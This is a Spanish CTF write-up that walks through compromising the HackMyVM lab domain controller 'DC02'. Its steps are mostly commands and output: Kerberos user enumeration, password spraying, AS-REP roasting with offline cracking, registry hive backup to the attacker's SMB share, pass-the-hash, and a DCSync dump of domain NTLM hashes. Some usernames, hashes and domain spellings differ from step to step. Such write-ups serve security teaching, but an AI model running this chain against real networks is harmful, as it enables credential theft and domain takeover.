

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Virtual DC02– Plataforma HackMyVm



DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “DC02”** alojada en la plataforma **HackMyVm** en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal** y **poco ética**.

4. Limitaciones y responsabilidad:

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

ESCANEEO INICIAL

Hacemos un escaneo inicial para ver los puertos abiertos

```
(root@kali)-[/home/phoenix/Escritorio/dc02]
# nmap -sS -p- --open -vvv -n -Pn -T4 -oN allPorts 192.168.1.150
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-01 14:55 +0000
Initiating ARP Ping Scan at 14:55
Scanning 192.168.1.150 [1 port]
Completed ARP Ping Scan at 14:55, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:55
Scanning 192.168.1.150 [65535 ports]
Discovered open port 445/tcp on 192.168.1.150
Discovered open port 139/tcp on 192.168.1.150
Discovered open port 53/tcp on 192.168.1.150
Discovered open port 135/tcp on 192.168.1.150
Discovered open port 49715/tcp on 192.168.1.150
Discovered open port 49664/tcp on 192.168.1.150
Discovered open port 49792/tcp on 192.168.1.150
Discovered open port 3268/tcp on 192.168.1.150
```

```
(root@kali)-[/home/phoenix/Escritorio/dc02]
# nmap -sS -p- --open -vvv -n -Pn -T4 -oN allPorts 192.168.1.150 | grep -E '^[0-9]' | cut -d '/' -f1 | paste -sd ','
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49681,49715,49792
```

ESCANEEO EXHAUSTIVO

Escaneo exhaustivo sobre los puertos abiertos para descubrir los servicios que corren por los mismos. Por los puertos hallados se puede llegar a la conclusión de que nos encontramos ante un controlador de dominio, ya que tiene el puerto 53 DNS, el 88 Kerberos, 135,139 y 445 para RPC, Net-Bios y SMB, 389 para LDAP y 5985 para WinRM

```
(root@kali)-[/home/phoenix/Escritorio/dc02]
# nmap -sVC -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49681,49715,49792 -n -Pn -oN targeted 192.168.1.150
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-01 15:02 +0000
Nmap scan report for 192.168.1.150
Host is up (0.00061s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-02 00:02:28Z)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp    open  ldap         Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
5985/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp   open  mc-nmf       .NET Message Framing
```

ENUMERACIÓN

Empezamos enumerando el nombre de la máquina y del dominio, así como enumerando el sistema operativo del controlador de dominio.

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# crackmapexec smb 192.168.1.150
SMB 192.168.1.150 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
```

Añadimos el nombre de la máquina y el dominio al archivo /etc/hosts.

```
GNU nano 8.7.1
127.0.0.1    localhost
27.0.1.1    kali.Home    kali

# The following lines are desirable for IPv6 capable hosts
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
192.168.1.150 DC01.SOUPEDECODE.LOCAL SOUPEDECODE.LOCAL
```

Intentamos encontrar subdominios, realizando un ataque de transferencia DNS, pero no tenemos éxito, por lo que trabajaremos sobre el dominio en cuestión

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# dig SOUPEDECODE.LOCAL @192.168.1.150 axfr

; <<>> DiG 9.20.22-1-Debian <<>> SOUPEDECODE.LOCAL @192.168.1.150 axfr
;; global options: +cmd
; Transfer failed.
```

Intentamos enumerar recursos compartido, con una null sesion, sin proporcionar usuario y también utilizando la cuenta guest, ya que en ocasiones podemos obtener acceso de esta manera, en esta ocasión no tenemos acceso a ningún recurso compartido.

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# crackmapexec smb 192.168.1.150 -u "" -p "" --shares
SMB 192.168.1.150 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\; STATUS_ACCESS_DENIED
SMB 192.168.1.150 445 DC01 [-] Error enumerating shares: Error occurs while reading from remote(104)

(root@kali)-[/home/phoenixx/Escritorio/dc02]
# crackmapexec smb 192.168.1.150 -u 'guest' -p "" --shares
SMB 192.168.1.150 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\guest: STATUS_ACCOUNT_DISABLED
```

Intentamos acceder utilizando otra herramienta, también intentamos acceder por vía RPC, para ver si podemos enumerar usuarios, grupos del dominio, también sin éxito.

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# smbclient -NL //192.168.1.150
session setup failed: NT_STATUS_ACCESS_DENIED

(root@kali)-[/home/phoenixx/Escritorio/dc02]
# rpcclient -U "" -N 192.168.1.150
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
```


Entre las opciones que tenemos disponibles, podemos enumerar usuarios realizando un ataque de fuerza bruta contra el protocolo kerberos utilizando un diccionario con usuarios habituales. A parte de los usuarios admin, administrator y guest, obtenemos un usuario llamado charlie

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# kerbrute userenum --dc 192.168.1.150 -d SOUPEDECODE.LOCAL allUsers.txt

Kerbrute

Version: v1.0.3 (9dad6e1) - 05/01/26 - Ronnie Flathers @ropnop

2026/05/01 15:10:39 > Using KDC(s):
2026/05/01 15:10:39 > 192.168.1.150:88

2026/05/01 15:10:39 > [+] VALID USERNAME:      admin@SOUPEDECODE.LOCAL
2026/05/01 15:10:39 > [+] VALID USERNAME:      Admin@SOUPEDECODE.LOCAL
2026/05/01 15:10:39 > [+] VALID USERNAME:      Administrator@SOUPEDECODE.LOCAL
2026/05/01 15:10:39 > [+] VALID USERNAME:      CHARLIE@SOUPEDECODE.LOCAL
2026/05/01 15:10:39 > [+] VALID USERNAME:      Charlie@SOUPEDECODE.LOCAL
2026/05/01 15:10:39 > [+] VALID USERNAME:      charlie@SOUPEDECODE.LOCAL
2026/05/01 15:10:46 > Done! Tested 73535 usernames (6 valid) in 7.714 seconds

(root@kali)-[/home/phoenixx/Escritorio/dc02]
# kerbrute userenum --dc 192.168.1.150 -d SOUPEDECODE.LOCAL allUsers.txt | grep -E ".*@" | sed "1d" | awk '{print $7}' | cut -d '@' -f1 > result
grep: warning: * at start of expression

(root@kali)-[/home/phoenixx/Escritorio/dc02]
# cat result
admin
Admin
Administrator
Charlie
CHARLIE
charlie
```

Ya que contamos con usuarios válidos (aunque en realidad solo debería servir charlie para la técnica que vamos a poner en práctica a continuación) podríamos intentar realizar un asreproast attack para ver si alguno de los usuarios obtenidos tiene la preautenticación con kerberos desactivada, con el objetivo de pedir un TGT, el cual está encriptado con el hash de contraseña del usuario en cuestión. De este ticket se puede extraer un hash y crackearlo offline, obteniendo la contraseña del usuario.

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# impacket-GetNPUsers -no-pass -usersfile result SOUPEDECODE.LOCAL/
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Charlie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User CHARLIE doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User charlie doesn't have UF_DONT_REQUIRE_PREAUTH set
```

No tenemos éxito, por lo que tendremos que explorar otras opciones.

Intentamos interactuar con LDAP para ver si podemos extraer más información del dominio, como por ejemplo más usuarios. En condiciones normales no podremos interactuar con la base de datos NTDS (que contiene todos los objetos del dominio) sin proporcionar credenciales, y este caso no es diferente, pero es posible que en ocasiones se pueda acceder sin credenciales, lo dicho no es el caso.

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# ldapsearch -x -H ldap://192.168.1.150 -b "DC=SOUPEDECODE,DC=LOCAL"
# extended LDIF
#
# LDAPv3
# base <DC=SOUPEDECODE,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
# numResponses: 1
```

Otra de las opciones que podemos hacer es realizar un password spraying contra los usuarios que hemos obtenido mediante el ataque de fuerza bruta a kerberos. Para ello en primer lugar, como siempre, vamos de menos a más, es decir primero empezamos con un diccionario pequeño, en este caso hemos utilizado los mismos nombres para usuario y contraseña. Resulta que el usuario charlie, tiene charlie como contraseña

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# crackmapexec smb 192.168.1.150 -u result -p result | grep "[+]"
SMB 192.168.1.150 445 DC01 [+] SOUPEDECODE.LOCAL\Charlie:charlie

(root@kali)-[/home/phoenixx/Escritorio/dc02]
#
```

Ya que tenemos usuario y contraseña válidos, validamos los permisos que tenemos para acceder a recursos compartidos. Confirmamos que no hay nada interesante al inspeccionar cada uno de los recursos. También comprobamos si tenemos capacidad para conectarnos remotamente a la máquina, pero no tenemos ese privilegio.


```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# rpcclient -U "Charlie%charlie" //192.168.1.150 -c "enumdomusers"
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[bmark0] rid:[0x44f]
user:[otara1] rid:[0x450]
user:[kleo2] rid:[0x451]
user:[eyara3] rid:[0x452]
user:[pquinn4] rid:[0x453]
user:[jharper5] rid:[0x454]
user:[bxenia6] rid:[0x455]
user:[gmona7] rid:[0x456]
user:[oaaron8] rid:[0x457]
user:[pleo9] rid:[0x458]
user:[evictor10] rid:[0x459]
user:[wreed11] rid:[0x45a]
user:[bgavin12] rid:[0x45b]
user:[ndelia13] rid:[0x45c]
user:[akevin14] rid:[0x45d]
user:[kxenia15] rid:[0x45e]
user:[vcody16] rid:[0x45f]
```

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# rpcclient -U "Charlie%charlie" //192.168.1.150 -c "enumdomusers" | awk '{print $1}' | cut -d ':' -f2 | tr -d '[' >> users_complete
```

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# sort -u users_complete | sponge users_complete
```

Con una lista más amplia de usuarios antes de realizar un

password spraying o un ataque de fuerza bruta, podemos ver si entre la lista que tenemos actualmente podría encontrarse algún usuario que no requiriera preautenticación kerberos, para poder realizar un ataque asreproasting. En este caso si que tenemos éxito y encontramos un usuario que es vulnerable a asreproast. Conseguimos crackear el hash de manera offline

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# impacket-GetNPUsers -no-pass -usersfile users_complete SOUPEDECODE.LOCAL/
```

```
[*] User ztara398 doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] User zwendy902 doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] User zwillow565 doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] User zwyatt377 doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] User zymena448@SOUPEDECODE.LOCAL:7ae8f719ebfb78f58c1f70601fd550b5a44ee704633181529ac3f9e370560c9a46b49bffc5a057f406c6e233202a3ab682b383560f2c20cde9baf2d7da045c7db12adcd6d34b346cf6eb904eccc7e1821f2cfb2647e23c317384688ec0312aed7746e1785c3af33891541d95cd9a025e61e994a8510ed6744c2953afbba0963a69022180d7b0b638af2b1c8ea05b0534e13c817c2c013c6dddb60d1a615cd83550460677aa59123310c0494fcef55a80407e1968e33815bb24aac1cd5a7f5067dde79678931e770fdb0e4609e7f99fa09881500943a2e482b0a87f1c50c1010f3f95e29254060c3fcf7111c79709e8b690ff8fa3a30aa00c080e9b629fcbef699e1f52
[*] User zyara746 doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] User zzach427 doesn't have UF_DONT_REQUIRE_PREAUTH set
```

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# nano hash

(root@kali)-[/home/phoenixx/Escritorio/dc02]
# john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
internet ($krb5asrep$23$zymena448@SOUPEDECODE.LOCAL)
lg 0:00:00:00 DONE (2026-05-01 15:30) 25.00g/s 25600p/s 25600c/s 123456..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
(root@kali)-[/home/phoenixx/Escritorio/dc02]
# hashcat -a 18200 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode

=====
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 2947/5895 MB (1024 MB allocatable), 4MCU
```

```
$krb5asrep$23zximena448@SOUPEDECODE.LOCAL:7aa8f719abfba78f58c1f70601fd550b$44ee704633181529ac3f9e370560c9a46b40bfcd5a057f486c6e233202a3ab682b383568f2c20de9baf2d7da045c7db12adcd6d34ba346cfe6b984ece7e1821f2cfb2647e23c317384688ec8312aed7746e1785c3af33891541d95cd9a025e61999ae8510ed6744c2953afbba0963a690222180d2b8b638af2b1c8ea05b8534e13c817c2c013c6dddd8b60d1a615cd835504650677aa59123310c0494cfef55a80407e1968e33815bb24aac1cd5a7f5067d0e79678931e770fdeba409e7f99f409881500943a2e482b0a87f1c58c1010f3f95e29254060c3fcf711c797b9e8b690ff8fa3a30aa0c080e9b629fcbe6f799e1f52:Internet
```

Con la contraseña obtenida validamos acceso a recursos compartidos, pero tenemos los mismos permisos que antes. Procedemos a comprobar datos del usuario haciendo consultas mediante LDAP, entre los datos que encontramos es que este miembro pertenece al grupo BACKUP OPERATORS, el cual permite hacer copias de seguridad de diferentes HIVES como SAM, SYSTEM Y SECURITY. Los cuales se pueden utilizar para obtener información de System Account Manager, como por ejemplo hashes de contraseñas almacenadas a nivel local en la máquina.

```
(root@kali)-[/home/phenixx/Escritorio/dc02]
# ldapsearch -x -H ldap://192.168.1.150 -b "CN=Users,DC=SOUPEDECODE,DC=LOCAL" -D "zximena448@SOUPEDECODE.LOCAL" -W "(sAMAccountName=zximena448)" memberOf
Enter LDAP Password:
# extended LDIF
#
# LDAPv3
# base <CN=Users,DC=SOUPEDECODE,DC=LOCAL> with scope subtree
# filter: (sAMAccountName=zximena448)
# requesting: memberOf
#
# Zach Ximena, Users, SOUPEDECODE.LOCAL
dn: CN=Zach_Ximena,CN=Users,DC=SOUPEDECODE,DC=LOCAL
memberOf: CN=Backup Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
```

Para hacerlo tenemos que hacernos una copia de SAM, SYSTEM Y SECURITY, por lo que nos montamos un recurso SMB y con impacket-reg creamos una copia de seguridad del registro, volcando SAM, SYSTEM Y SECURITY.

```
(root@kali)-[/home/phenixx/Escritorio/dc02]
# impacket-smbserver server . -smb2support
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

```
(root@kali)-[/home/phenixx/Escritorio/dc02]
# impacket-reg -dc-ip 192.168.1.150 SOUPEDECODE.LOCAL/zximena448:internet@192.168.1.150 backup -o '\\192.168.1.136\server'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\192.168.1.136\server\SAM.save
[*] Saved HKLM\SYSTEM to \\192.168.1.136\server\SYSTEM.save
[*] Saved HKLM\SECURITY to \\192.168.1.136\server\SECURITY.save
```

Con impacket-secretsdump dumpeamos la SAM. Entre los datos obtenidos llama la atención un hash de una cuenta de computadora. Los hashes a nivel local de administrador no nos sirven, ya que esté tiene desactivada la capacidad de conectarse de manera remota al equipo.

```
(root@kali)-[/home/phenixx/Escritorio/dc02]
# impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xc7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c617ada490cneb422f3fa57ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain login information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:239adaab62d0e9412a5633bb24799232de60e7303f4345215169f31b46067f88c511c7ad091419f3af4c09b6630ab4417fd28b490bd232e179b92397d245a32e90288b6dace7439c94ff4
07c9130fce013c5892c93b2ba42536c436f511b64936a8c7681e457974f3a494008a7ff91b3fa660dc9f8e6c8b253682f5791c91ae5a4bbe58af0f0717ba871ebc0b2758dff4de46cf853fd52b310ac1be9265f25084b01a823da220a
a167274887c9abb72c8799d6783863b2249d4bbfcd5d633a7c9225ddc07f9fe8830385a65a0d8e08d82716791bdfef79b15894cc9e907945d7604c3f86bf94f2acd93fcca
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fd776683bf5af3f4139de38c855831f
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628cd9503
[*] NTLM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D.....C./...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAUW...l.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ..w.....Dl..c.
0030 69 02 53 95 1F DE 0E 77 B5 24 17 BE 6E 80 A9 91 iS.....$.n...
[!] NTLM
```


Bien, si hacemos una consulta LDAP para obtener los nombres de las cuentas de computadora y las guardamos en un archivo podremos hacer un spraying con el hash. Resulta que el hash no se corresponde con ninguna cuenta de computadora.

```
root@kali:~/home/phenixx/Escritorio/dc02# ldapsearch -x -H ldap://192.168.1.150 -b "CN=Computers,DC=SOUPDECODE,DC=LOCAL" -D "xizmena448@SOUPDECODE.LOCAL" -W sAMAccountName | grep "sAMAccountName" | awk '{print $2}' > comps
```

```

[*root@kali:~/home/Phoenix/Escritorio/dc02]
# crackmapexec smb 192.168.1.150 -u comps -H '2fd7f6683bf5af3f4139de38c855831f'
SMB 192.168.1.150 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBV1:False)
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\requesting:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\WebServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\IISExpress$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\FileServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\MailServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\BackupServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\ApplicationServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PrintServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\ProxyServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\MonitorServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\CitrixServer$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-1$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-2$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-3$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-4$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-5$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-6$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-7$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-8$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE
SMB 192.168.1.150 445 DC01 [-] SOUPEDECODE.LOCAL\PC-9$:2fd7f6683bf5af3f4139de38c855831f STATUS_LOGON_FAILURE

```

Los controladores de dominio también se corresponden con cuentas de computadoras, entonces se consulta con LDAP la Unidad Organizativa “Domain Controllers” que contiene las cuentas de computadoras que actúan como Controladores de Dominio, obteniendo en este caso la cuenta DC01\$.

Se valida entonces con crackmapexec que ese hash corresponde con la cuenta de DC01\$.

Al ser un domain controller podemos hacer contra sí mismo un DCSync Attack, dumpeando remotamente las credenciales de todos los objetos del dominio

```

(root@kali)~[/home/phenixx/Escritorio/dc02]
# ldapsearch -x -H ldap://192.168.1.150 -b "OU=Domain Controllers,DC=SOUPEDECODE,DC=LOCAL" -D "zximena448@SOUPEDECODE.LOCAL" -W sAMAccountName | grep sAMAccountName
Enter LDAP Password:
# requesting: sAMAccountName
sAMAccountName: DC01$

(root@kali)~[/home/phenixx/Escritorio/dc02]
# ldapsearch -x -H ldap://192.168.1.150 -b "OU=Domain Controllers,DC=SOUPEDECODE,DC=LOCAL" -D "zximena448@SOUPEDECODE.LOCAL" -W sAMAccountName | grep sAMAccountName | awk '{print $2}'
Enter LDAP Password:
requesting:
DC01$

(root@kali)~[/home/phenixx/Escritorio/dc02]
# ldapsearch -x -H ldap://192.168.1.150 -b "OU=Domain Controllers,DC=SOUPEDECODE,DC=LOCAL" -D "zximena448@SOUPEDECODE.LOCAL" -W sAMAccountName | grep sAMAccountName | awk '{print $2}' > dc
Enter LDAP Password:

(root@kali)~[/home/phenixx/Escritorio/dc02]
# cat dc | sed '1d'
DC01$

(root@kali)~[/home/phenixx/Escritorio/dc02]
# cat dc | sed '1d' | sponge dc

```

```
(root@kali)~/home/phenixx/Escritorio/dc02
# crackmapexec smb 192.168.1.150 -u dc -H '2fd776683bf5af3f4139de38c855831f'

SMB 192.168.1.150 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPPECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 192.168.1.150 445 DC01 [*] SOUPPECODE.LOCAL\DC01$::2fd776683bf5af3f4139de38c855831f
```

```
(root@kali)-[/home/phenix/Escritorio/dc02]
# impacket-secretsdump -dc-ip 192.168.1.150 'SOUPEDECODE.LOCAL/DC01@192.168.1.150' -hashes ':2fd776683bf5af3f4139de38c855831f' > dcsync
```

```

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCE RPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
soupedecode.local\bookmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6:::
soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14:::
soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671:::
soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54:::
soupedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:800f9c9d3e4654d9bd590fc4296adf01:::
soupedecode.local\bzenia6:1109:aad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbbe932d82b18a3:::
soupedecode.local\gmona7:1110:aad3b435b51404eeaad3b435b51404ee:c2506dfa7572da51f9f25b603da874d4:::
soupedecode.local\oaaron8:1111:aad3b435b51404eeaad3b435b51404ee:869e9033466cb9f7f8d0ce5a5c3305c6:::
soupedecode.local\pleo9:1112:aad3b435b51404eeaad3b435b51404ee:54a3a0c87893e1051e6f7b629ca144ef:::
soupedecode.local\akevin10:1113:aad3b435b51404eeaad3b435b51404ee:c918a6413865d3701a40071365fa1c3e:::
soupedecode.local\wreed11:1114:aad3b435b51404eeaad3b435b51404ee:a581adbf0e50ba5e4b4c4d95ca190471:::
soupedecode.local\bgavin12:1115:aad3b435b51404eeaad3b435b51404ee:ba78418ef53add0841b76f103e487bf5:::
soupedecode.local\ndelia13:1116:aad3b435b51404eeaad3b435b51404ee:341b52ef9e84306e4efbbf275428640e:::
soupedecode.local\akevin14:1117:aad3b435b51404eeaad3b435b51404ee:cf31e20946a86113fef93a640d8dc64e:::
soupedecode.local\kxenia15:1118:aad3b435b51404eeaad3b435b51404ee:a34ebec647265a56cf0b45b45b60922:::
soupedecode.local\ycody16:1119:aad3b435b51404eeaad3b435b51404ee:e50f0a735af2069ed26c13b1ad7df962:::
soupedecode.local\qnora17:1120:aad3b435b51404eeaad3b435b51404ee:89237fedf5fb31cdd847a88e33b4d09b:::
soupedecode.local\dyvonne18:1121:aad3b435b51404eeaad3b435b51404ee:9f72bb25fa1d246fa8cfbd243bdd51fb:::
soupedecode.local\qxenia19:1122:aad3b435b51404eeaad3b435b51404ee:a1535954f1808f130fee8b2c8f02a692:::
soupedecode.local\rreed20:1123:aad3b435b51404eeaad3b435b51404ee:aac6265594fead59fa15d377bbb2dcb:::
soupedecode.local\icody21:1124:aad3b435b51404eeaad3b435b51404ee:b19f543d19fa53cc96c319c68e7c25a5:::
soupedecode.local\ftom22:1125:aad3b435b51404eeaad3b435b51404ee:f10af34344849008dfdc5481c699073:::
